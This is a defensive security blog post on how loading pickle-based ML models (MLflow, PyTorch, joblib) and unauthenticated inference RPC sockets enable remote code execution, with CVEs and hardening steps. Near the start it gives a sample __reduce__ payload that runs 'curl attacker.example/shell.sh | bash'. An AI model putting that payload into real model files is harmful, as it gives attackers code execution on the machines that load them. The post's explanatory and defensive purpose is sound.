Loading a PyTorch, MLflow, or scikit-learn model can execute arbitrary code on your machine. Those serializers use Python’s pickle format, which runs code by design during deserialization, so a model file is really a program. This post shows how that becomes RCE through two paths (the artifact and the inference transport) and how to harden each.

The Python standard library has carried this warning since Python 2:

Warning: The pickle module is not secure. Only unpickle data you trust. It is possible to construct malicious pickle data which will execute arbitrary code during unpickling. Never unpickle data that could have come from an untrusted source, or that could have been tampered with.

That warning is not describing a theoretical future risk. It describes how pickle works by design, and the ML ecosystem has been ignoring it at scale.

When you call mlflow.pyfunc.load_model(), torch.load(), or joblib.load(), you are not reading a static file. You are executing whatever code the file’s author encoded into it. Your CVE scanner will return zero findings on a poisoned model because there is no vulnerable package: the malicious payload is the data, not a dependency. And your inference server may be calling pickle.loads() on bytes arriving from the network, unauthenticated, bound to 0.0.0.0.

There is also the artifact-swap vector: an attacker who can intercept model uploads in transit (through predictable storage bucket names, as Palo Alto Unit 42 demonstrated against Vertex AI in early 2026) can substitute a poisoned artifact before it even reaches the registry. That upstream entry point is a separate concern; this post starts at the registry door and follows the artifact to execution.

This post covers two primitives: the model artifact as a code-execution vector, and the inference RPC transport as an unauthenticated deserialization endpoint. They share the same root cause and require different but complementary mitigations. For runtime pod hardening (SSRF, NetworkPolicy, Kyverno, gVisor), see our Securing AI Inference Servers on Kubernetes post. This one covers what happens before the pod runs.

Loading a Model Is Running Code: Why Pickle Is the Problem

What pickle.loads() Actually Does

Pickle is Python’s native serialization format. It works by encoding a stream of opcodes that are replayed on deserialization. One of those opcodes, REDUCE, calls an arbitrary callable with arbitrary arguments. A minimal malicious payload looks like this at the class level:

class Exploit:
    def __reduce__(self):
        import os
        return (os.system, ("curl attacker.example/shell.sh | bash",))

Serializing this object and saving it as model.pkl produces a file that runs a shell command when loaded. PyTorch’s .pt and .bin formats use this serialization. NumPy’s .npy supports it via allow_pickle. Scikit-learn and joblib .pkl files use it. The intuition that “model weights are just numbers” is the misconception this attack class exploits.

Why Your CVE Scanner Shows Nothing

Traditional supply-chain scanning tools (Trivy, pip-audit, Dependabot, SCA scanners) work by matching installed package versions against a CVE database. A poisoned model artifact contains no vulnerable package. It is a well-formed file in a recognized format whose contents cause code execution. There is no version to bump, no CVE identifier on the file, and nothing for a dependency scanner to match.

The model registry is therefore a blind spot: the same pipeline that correctly gates requirements.txt against known CVEs waves a .pkl straight through. These are different controls catching different things, and most teams only have one of them.

Vulnerable dependencyPoisoned model artifact
What it isPackage with a known-bad versionWell-formed data file with malicious opcodes
What Trivy/pip-audit seesVersion match in CVE databaseClean (no vulnerability entry)
What picklescan/modelscan seesNot applicableOpcode/denylist inspection (see limitations below)
The control that catches itSCA scannerArtifact scanner + format policy

Two Faces of the Same Bug: The Artifact and the Transport

The Artifact Vector: MLflow and the Poisoned Model in the Registry

CVE-2024-37054 is the canonical example of the artifact attack path. The vulnerability is in MLflow’s PyFunc flavor load path: _load_pyfunc in mlflow/pyfunc/model.py deserializes a model artifact using pickle. An attacker who can log a model to your tracking server’s artifact store (via mlflow.pyfunc.log_model) can encode a payload that executes when a victim calls mlflow.pyfunc.load_model.

  • CVSS: 8.8 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
  • Affected range: MLflow 0.9.0 through 2.14.1. No clean per-CVE patched version is recorded (GitHub Advisory lists “None”); MLflow addressed the class with hardening rather than a single clean version bump.
  • Trigger: A victim must pull and load the malicious model (UI:R): pull-triggered, not a listening socket.

CVE-2024-37054 is one of nine CVEs (37052 through 37060) disclosed together via mlflow/mlflow #12256 by HiddenLayer, each covering the same deserialization class in a different model flavor’s load path (PyFunc, scikit-learn, pmdarima, and others). The pattern is not a single implementation mistake; it is the consequence of building a model artifact store on top of an unsafe serialization format.

The Transport Vector: SGLang, LeRobot, LightLLM

The second attack surface is not the artifact file but the inference framework’s RPC socket. Multiple serving frameworks call pickle.loads() on bytes arriving from the network over gRPC, ZeroMQ, or WebSocket connections, with the socket bound to 0.0.0.0 and no authentication layer. An attacker who can reach the port gets unauthenticated code execution.

SGLang, CVE-2026-7301 (disclosed May 18 2026, CERT/CC VU#777338): SGLang’s multimodal generation runtime scheduler exposes a ZeroMQ ROUTER socket bound to 0.0.0.0 by default. NVD’s description: “contains a sink that calls pickle.loads() on incoming messages, enabling RCE when exposed to the internet.” CISA-ADP assigned 9.8 CRITICAL (UI:N: no victim interaction required). CERT/CC confirmed no patch was available at disclosure.

Important: CVE-2026-7301 is the scheduler ROUTER socket specifically. The ZeroMQ disaggregated-serving variant is a separate CVE pair (CVE-2026-3059/3060, Orca Security). VU#777338 also bundles CVE-2026-7302 (path traversal) and CVE-2026-7304 (dill.loads RCE in a custom logit processor). These are distinct CVEs.

Hugging Face LeRobot, CVE-2026-25874 (NVD published Apr 23 2026): The async inference pipeline in LeRobot through 0.5.1 uses pickle.loads() to deserialize data received over gRPC channels configured with add_insecure_port() (no TLS, no authentication). Per GHSA-f7vj-73pm-m822: “An unauthenticated network-reachable attacker can achieve arbitrary code execution… through the SendPolicyInstructions, SendObservations, or GetActions gRPC calls.” Deserialization happens before type validation. CVSS v4.0: 9.3 CRITICAL; CVSS v3.1: 9.8. Status: unpatched at research time.

LightLLM, CVE-2026-26220 (NVD published Feb 16 2026): LightLLM’s prefill-decode disaggregation mode exposes WebSocket endpoints (/pd_register, /kv_move_status) that receive binary frames and pass data directly to pickle.loads() with no authentication of any kind. The server design explicitly refuses to bind to localhost, so these endpoints are network-exposed by intent. CVSS v4.0: 9.3 CRITICAL. No fixed version recorded.

graph LR
    subgraph ArtifactPath["Path A: Artifact Vector (UI:R, victim must load)"]
        A1["Attacker logs malicious\nPyFunc model to registry"] --> A2["Artifact store\naccepts it"]
        A2 --> A3["Victim calls\nload_model()"]
        A3 --> A4["pickle.loads on\nartifact file"]
    end

    subgraph TransportPath["Path B: Transport Vector (UI:N, attacker sends bytes)"]
        B1["Attacker sends\ncrafted bytes to port"] --> B2["0.0.0.0-bound socket\nno authentication"]
        B2 --> B3["pickle.loads on\nnetwork input"]
    end

    A4 --> RCE["RCE on\nloader / server"]
    B3 --> RCE

    style RCE fill:#ef4444,color:#fff
    style ArtifactPath fill:#1e293b,color:#94a3b8
    style TransportPath fill:#1e293b,color:#94a3b8

Both attack paths converge on the same sink: pickle.loads() on untrusted input. The artifact path (MLflow CVE-2024-37054) requires a victim to load the model. The transport path (SGLang, LeRobot, LightLLM) requires only network access to the listening socket.

One Class, Many Frameworks: Why This Keeps Happening

Three frameworks, three CVEs, three 9.x CVSS scores, all within a two-year window. A 2025 research paper (arXiv 2508.15987, PickleBall) found that 44.9% of popular Hugging Face models still use the unsafe format. The format is not going away, and neither is the pattern of passing whatever arrives on the network into pickle.loads().

Why Scanners Do Not Save You

22 Loading Paths, 19 Invisible to Scanners

Researchers studying deserialization security in ML published a systematic enumeration (arXiv 2508.19774, “The Art of Hide and Seek”): they discovered 22 distinct model-loading paths across five major ML libraries (NumPy, Joblib, PyTorch, TensorFlow/Keras, and NeMo), grouped into 7 categories. Of the 22, 19 completely evade all existing scanners.

The paper identifies the root cause: scanners “use a denylist approach… circumventable through two strategies: invoking callables missed by the denylist, and indirectly importing and invoking disallowed callables.” This is not a scanner configuration issue; it is a structural limitation of denylist-based opcode inspection. The paper also found 9 Exception-Oriented Programming (EOP) instances (7 bypass all scanners) and 133 exploitable gadgets across the studied libraries.

picklescan’s Own CVEs: the Denylist Blind Spot

picklescan itself was hit with three 9.3 CRITICAL CVEs in 2025 (JFrog Security Research, all fixed in version 0.0.31, released September 2 2025):

  • CVE-2025-10155: Extension bypass. picklescan trusts the file extension over the content. A malicious file renamed .bin or .pt evades the PyTorch scan path while PyTorch still loads it.
  • CVE-2025-10156: CRC bypass. A corrupted ZIP CRC causes picklescan to skip the archive entirely; PyTorch loads it anyway.
  • CVE-2025-10157: Unsafe-globals bypass. Subclasses and derivative imports of dangerous modules evade the strict full-module-name denylist (flagged “Suspicious” rather than “Dangerous”).

All three are the same structural blind spot the academic paper describes. Run picklescan, pin it to >=0.0.31, and supplement it with modelscan as a second pass. But a green scan is not proof a model is safe.

How Do You Harden the MLOps Supply Chain Against Pickle Attacks?

The controls below address the artifact and transport layers. For broader supply-chain context, including CI/CD pipeline hardening and dependency integrity checks, see Securing AI/ML Supply Chains on Kubernetes.

Does Switching to safetensors Fix Pickle Deserialization Risk?

safetensors is the Hugging Face format built specifically to remove the code-execution surface. From their docs: “Safetensors is a new simple format for storing tensors safely (as opposed to pickle) and that is still fast (zero-copy).” It stores only tensor data plus a string-to-string JSON header; loading it deserializes no callables.

from safetensors.torch import save_file, load_file

# No unsafe serialization, no executable payload on load.
save_file(model.state_dict(), "model.safetensors")

# Loads tensors + a string-only metadata header. No code execution on load.
state_dict = load_file("model.safetensors")
model.load_state_dict(state_dict)

Verify the exact import path (safetensors.torch, safetensors.numpy, safetensors.flax) against the current docs and installed version before deploying to production.

What safetensors does not solve: it stores tensors only, not arbitrary Python objects or model class code. Models whose architecture or preprocessing logic lives in custom Python cannot be fully expressed as safetensors weights alone; that code still has to ship and be trusted by some other means. The metadata constraint is intentional: “Arbitrary JSON is not allowed, all values must be strings.” safetensors also does nothing for the transport-deserialization vector or for provenance. The format swap removes the artifact RCE for conforming models; it does not close the full pipeline.

If You Must Unpickle: Allowlist with find_class()

Python’s own docs document a mitigation for cases where pickle cannot be removed. A custom Unpickler.find_class() enforces an allowlist of permitted globals, raising pickle.UnpicklingError for anything else:

import builtins
import io
import pickle

safe_builtins = {"range", "complex", "set", "frozenset", "slice"}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        # Only allow a hand-picked safe subset; reject everything else.
        if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)
        raise pickle.UnpicklingError(
            f"global {module}.{name} is forbidden"
        )

def restricted_loads(data: bytes):
    return RestrictedUnpickler(io.BytesIO(data)).load()

The allowlist contents here are illustrative. A real allowlist must be derived from the specific objects your application legitimately deserializes. This is a mitigation for legacy code that cannot be migrated, not a license to load untrusted model files.

How Do You Lock Down the Inference RPC Transport?

Every transport CVE above has the same root configuration: a deserializing socket reachable from the network. The fix follows directly from the mechanism:

# The shape behind CVE-2026-7301 / CVE-2026-26220 / CVE-2026-25874:
# A socket listening on all interfaces deserializes untrusted network bytes.
# socket.bind("tcp://0.0.0.0:5555")

# Harden: keep the deserializing transport on loopback only.
socket.bind("tcp://127.0.0.1:5555")

Require an authenticated, TLS-terminating proxy for anything crossing a node boundary. For LeRobot-style gRPC, replace add_insecure_port() with mTLS-configured ports. Keep scheduler, prefill, decode, and worker components co-located when their RPC channel calls pickle.loads(). If they must cross nodes, the channel needs authentication before bytes reach the deserializer. Verify the actual bind configuration flag for your framework (--host, bind address in the config YAML) against current docs.

What Should the CI Gate Include for Model Artifact Security?

The CI gate is not a single tool; it is a layered policy:

# Pin picklescan to >= 0.0.31 (older versions have confirmed 9.3 CVSS bypasses).
pip install "picklescan>=0.0.31"
picklescan --path ./model-artifacts/

# modelscan: broader format coverage (H5, Pickle, SavedModel, pickle-derived).
pip install modelscan
modelscan -p ./model-artifacts/model.pkl

# Enforce safetensors-preferred format policy: reject unsafe formats in promotion.
# Attach signed provenance at model promotion time so unsigned or tampered
# artifacts fail the gate before they are ever loaded.

Confirm CLI flags against --help on the installed version before scripting into CI. The --path and -p flags above match current project docs but should be verified against the installed binary.

For provenance: attach a cryptographic signature to model artifacts at the promotion step in your registry (the pattern is analogous to Sigstore/cosign for container images). An unsigned artifact, or one whose signature does not match the registered digest, fails the gate before the deserializer is ever reached. The exact tooling for model-artifact signing is still evolving; verify current integration docs for your registry before prescribing a specific tool.

Putting It Together: A Hardened Registry-to-Serving Pipeline

The five controls map onto the attack path as distinct defense rings:

flowchart TD
    A["Attacker uploads\nmalicious model artifact"] --> B["Model Registry\nIngestion"]

    B --> R1{"Ring 1: Signed\nProvenance Gate"}
    R1 -->|"Unsigned or\nmodified artifact"| BLOCK1["Rejected at upload"]
    R1 -->|"Signature valid"| C["CI Artifact Scan"]

    C --> R2{"Ring 2: picklescan\n+ modelscan"}
    R2 -->|"Unsafe opcode\ndetected"| BLOCK2["Pipeline fails"]
    R2 -->|"Scan passes"| D["Format Policy Check"]

    D --> R3{"Ring 3: safetensors\npreferred policy"}
    R3 -->|"Non-approved\nformat"| BLOCK3["Format rejected"]
    R3 -->|"Approved format"| E["Model loaded by\nserving framework"]

    E --> R4{"Ring 4: RestrictedUnpickler\nfind_class allowlist"}
    R4 -->|"Forbidden\nglobal called"| BLOCK4["UnpicklingError raised"]
    R4 -->|"Allowlisted"| F["Inference RPC\nTransport"]

    F --> R5{"Ring 5: Loopback-bound\nsocket + mTLS"}
    R5 -->|"Packet from\nexternal network"| BLOCK5["Rejected at transport"]
    R5 -->|"Loopback only"| G["Model Serves\nInference"]

    style BLOCK1 fill:#ef4444,color:#fff
    style BLOCK2 fill:#ef4444,color:#fff
    style BLOCK3 fill:#ef4444,color:#fff
    style BLOCK4 fill:#ef4444,color:#fff
    style BLOCK5 fill:#ef4444,color:#fff
    style G fill:#22c55e,color:#fff

Five defense rings mapped onto the model supply chain. Rings 2-3 address the artifact vector. Ring 5 addresses the transport vector. Rings 1 and 4 provide defense-in-depth at the ingestion and load points.

No ring is sufficient alone. A green scan does not mean a model is safe (19 of 22 loading paths evade scanners). The safetensors format does not mean the transport is hardened. The find_class allowlist does not help if the socket already accepted the attacker’s bytes. The defense is the combination.

Defense ringWhat it stopsWhat it does not stop
Signed provenanceUnsigned or tampered artifactsMalicious artifacts with a compromised signing key
picklescan/modelscanKnown opcode patterns and signatures19 of 22 known loading paths; novel gadgets
safetensors policyArtifact RCE for format-compliant modelsCustom-code models; transport RCE; provenance gaps
RestrictedUnpicklerArbitrary callable execution at loadGadgets within the allowlisted module set
Loopback + mTLSNetwork-reachable transport RCELocal process compromise on the same node

This post covers artifacts and transports. For the runtime pod (SSRF, NetworkPolicy, gVisor, inference server CVEs in production), see Securing AI Inference Servers on Kubernetes.

Frequently Asked Questions

Can loading a machine learning model really run code on my machine?

Yes. Several popular ML serialization formats execute arbitrary code during deserialization by design. Python’s own documentation carries an explicit warning: the pickle module “is not secure” and malicious data “will execute arbitrary code during unpickling.” The common intuition that model files contain only weights is the misconception this attack class exploits. PyTorch .pt/.bin, scikit-learn/joblib .pkl, and NumPy with allow_pickle are all affected.

Why doesn’t my vulnerability scanner flag a malicious model file?

CVE/SCA scanners match installed package versions against known-vulnerability databases. A poisoned model contains no vulnerable dependency: it is a well-formed data file in a recognized format whose contents execute on load. There is no version to bump, no CVE identifier on the file, and nothing for a dependency scanner to match. You need a separate control that inspects the artifact’s serialization opcodes (picklescan, modelscan), not just your dependency tree.

Does switching to safetensors completely solve the problem?

It removes the weights-file code-execution vector: safetensors stores only tensors plus a string-only metadata header, and loading it runs no code. But it stores only tensors, not custom model class code, so it does not fully cover models whose architecture or preprocessing lives in custom Python. It also does nothing for the transport-deserialization vector (gRPC/ZMQ/WebSocket endpoints calling pickle.loads()) or for model provenance. Treat it as the systemic fix for the artifact layer, paired with transport hardening and signed provenance.

Is running picklescan or modelscan in CI enough?

Run them and keep them current, but do not treat a green scan as proof of safety. They are denylist/opcode-based and structurally evadable: researchers found 19 of 22 model-loading paths evade all existing scanners, and picklescan itself had three CVSS 9.3 bypass CVEs fixed only in version 0.0.31 in September 2025. Combine scanning with a safetensors-preferred format policy and signed provenance in your model promotion step.

How does an inference server end up as an unauthenticated RCE?

Several serving frameworks bound an RPC socket to 0.0.0.0 and called pickle.loads() on incoming messages with no authentication: SGLang’s scheduler ROUTER socket (CVE-2026-7301, 9.8 CRITICAL), Hugging Face LeRobot’s no-TLS gRPC pipeline (CVE-2026-25874, 9.3 CRITICAL), and LightLLM’s WebSocket endpoints (CVE-2026-26220, 9.3 CRITICAL). Anyone who can reach the port can send a crafted payload and execute arbitrary code on the server. Bind these sockets to 127.0.0.1 and require an authenticated, TLS-terminating layer for anything crossing a node boundary.